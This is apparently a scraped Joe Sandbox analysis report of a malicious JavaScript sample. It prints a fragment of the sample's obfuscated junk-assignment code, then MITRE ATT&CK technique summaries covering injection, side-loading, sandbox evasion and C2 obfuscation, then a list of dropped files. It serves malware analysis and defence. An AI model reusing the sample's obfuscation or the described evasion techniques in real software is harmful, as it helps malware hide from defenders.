1376	uvjwdpr = "C";
1377	uvjwdpr = "g";
1378	uvjwdpr = "P";
1379	uvjwdpr = "p";
1380	uvjwdpr = "q";
1381	uvjwdpr = "V";
1382	uvjwdpr = "y";
1383	uvjwdpr = "K";
1384	uvjwdpr = "D";
1385	uvjwdpr = "N";
1386	uvjwdpr = "a";
1387	uvjwdpr = "K";
1388	uvjwdpr = "x";
1389	uvjwdpr = "z";
1390	uvjwdpr = "q";
1391	uvjwdpr = "F";
1392	mumhpbny = "B";
1393	mumhpbny = "H";
1394	mumhpbny = "T";
1395	mumhpbny = "U";
1396	mumhpbny = "J";
1397	mumhpbny = "c";
1398	mumhpbny = "O";
1399	mumhpbny = "C";
1400	mumhpbny = "u";
1401	mumhpbny = "u";
1402	mumhpbny = "C";
1403	mumhpbny = "V";
1404	mumhpbny = "U";
1405	mumhpbny = "r";
1406	mumhpbny = "C";
1407	mumhpbny = "d";
1408	mumhpbny = "G";
1409	mumhpbny = "P";
1410	mumhpbny = "z";
1411	mumhpbny = "f";
1412	mumhpbny = "B";
1413	mumhpbny = "e";
1414	mumhpbny = "m";
1415	mumhpbny = "x";
1416	mumhpbny = "y";
1417	mumhpbny = "E";
1418	mumhpbny = "s";
1419	mumhpbny = "R";
1420	mumhpbny = "k";
1421	mumhpbny = "N";
1422	mumhpbny = "K";
1423	mumhpbny = "M";
1424	mumhpbny = "b";
1425	mumhpbny = "B";
1426	mumhpbny = "i";
1427	mumhpbny = "c";
1428	mumhpbny = "C";
1429	mumhpbny = "V";
1430	mumhpbny = "k";
1431	mumhpbny = "i";
1432	mumhpbny = "h";
1433	mumhpbny = "X";
1434	mumhpbny = "@";
1435	wkxppsw = "C";
1436	wkxppsw = "J";
1437	wkxppsw = "V";
1438	wkxppsw = "G";
1439	wkxppsw = "G";
1440	wkxppsw = "H";
1441	pndctpw = "B";
1442	pndctpw = "J";
1443	pndctpw = "T";
1444	pndctpw = "v";
1445	pndctpw = "q";
1446	pndctpw = "f";
1447	pndctpw = "g";
1448	pndctpw = "Z";
1449	pndctpw = "r";
1450	pndctpw = "D";
1451	pndctpw = "E";
1452	pndctpw = "U";
1453	lhpzan = "b";
1454	lhpzan = "M";
1455	lhpzan = "o";
1456	lhpzan = "L";
1457	lhpzan = "O";
1458	lhpzan = "j";
1459	lhpzan = "i";
1460	lhpzan = "L";
1461	lhpzan = "r";
1462	lhpzan = "F";
1463	lhpzan = "J";
1464	lhpzan = "V";
1465	lhpzan = "Q";
1466	lhpzan = "W";
1467	lhpzan = "J";
1468	lhpzan = "L";
1469	yjnmno = "J";
1470	yjnmno = "&";
1471	xhyptc = "t";
1472	xhyptc = "k";
1473	xhyptc = "F";
1474	xhyptc = "Z";
1475	xhyptc = "z";
1476	xhyptc = "U";
1477	xhyptc = "s";
1478	xhyptc = "I";
1479	xhyptc = "t";
1480	xhyptc = "s";
1481	xhyptc = "F";
1482	xhyptc = "q";
1483	xhyptc = "b";
1484	xhyptc = "O";
1485	xhyptc = "N";
1486	xhyptc = "l";
1487	xhyptc = "E";
1488	xhyptc = "K";
1489	xhyptc = "Z";
1490	xhyptc = "V";
1491	xhyptc = "v";
1492	xhyptc = "n";
1493	xhyptc = "K";
1494	xhyptc = "u";
1495	xhyptc = "b";
1496	xhyptc = "I";
1497	fmajey = "A";
1498	fmajey = "l";
1499	fmajey = "s";
1500	fmajey = "X";
1501	fmajey = "E";
1502	fmajey = "I";
1503	fmajey = "R";
1504	fmajey = "P";
1505	fmajey = "P";
1506	fmajey = "X";
1507	fmajey = "O";
1508	fmajey = "O";
1509	fmajey = "O";
1510	fmajey = "x";
1511	fmajey = "d";
1512	fmajey = "F";
1513	fmajey = "w";
1514	fmajey = "E";
1515	fmajey = "l";
1516	fmajey = "u";
1517	fmajey = "D";
1518	fmajey = "A";
1519	fmajey = "c";
1520	fmajey = "k";
1521	sjfexq = "a";
1522	sjfexq = "B";
1523	sjfexq = "A";
1524	sjfexq = "B";
1525	sjfexq = "J";
1526	sjfexq = "G";
1527	sjfexq = "e";
1528	sjfexq = "O";
1529	sjfexq = "K";
1530	sjfexq = "g";
1531	sjfexq = "q";
1532	sjfexq = "b";
1533	sjfexq = ".";
1534	sepudmn = "S";
1535	sepudmn = "C";
1536	sepudmn = "C";
1537	sepudmn = "t";
1538	sepudmn = "S";
1539	sepudmn = "W";
1540	sepudmn = "T";
1541	sepudmn = "F";
1542	sepudmn = "r";
1543	sepudmn = "h";
1544	sepudmn = "c";
1545	sepudmn = "e";
1546	sepudmn = "s";
1547	sepudmn = "U";
1548	sepudmn = "e";
1549	sepudmn = "N";
1550	sepudmn = "t";
1551	sepudmn = "A";
1552	sepudmn = "d";
1553	sepudmn = "j";
1554	sepudmn = "A";
1555	sepudmn = "v";
1556	sepudmn = "j";
1557	sepudmn = "m";
1558	sepudmn = "R";
1559	sepudmn = "C";
1560	sepudmn = "q";
1561	sepudmn = "B";
1562	sepudmn = "j";
1563	sepudmn = "i";
1564	sepudmn = "V";
1565	sepudmn = "H";
1566	sepudmn = "Q";
1567	sepudmn = "H";
1568	sepudmn = "z";
1569	sepudmn = "v";
1570	sepudmn = "c";
1571	sepudmn = "M";
1572	sepudmn = "n";
1573	sepudmn = "e";
1574	sepudmn = "o";
1575	sepudmn = "a";
1576	rixxucgcd ( );	rixxucgcd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 295963673155714664.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\99ba7652-d4f2-492a-8d48-e64e67538d75.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6672

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
295963673155714664.js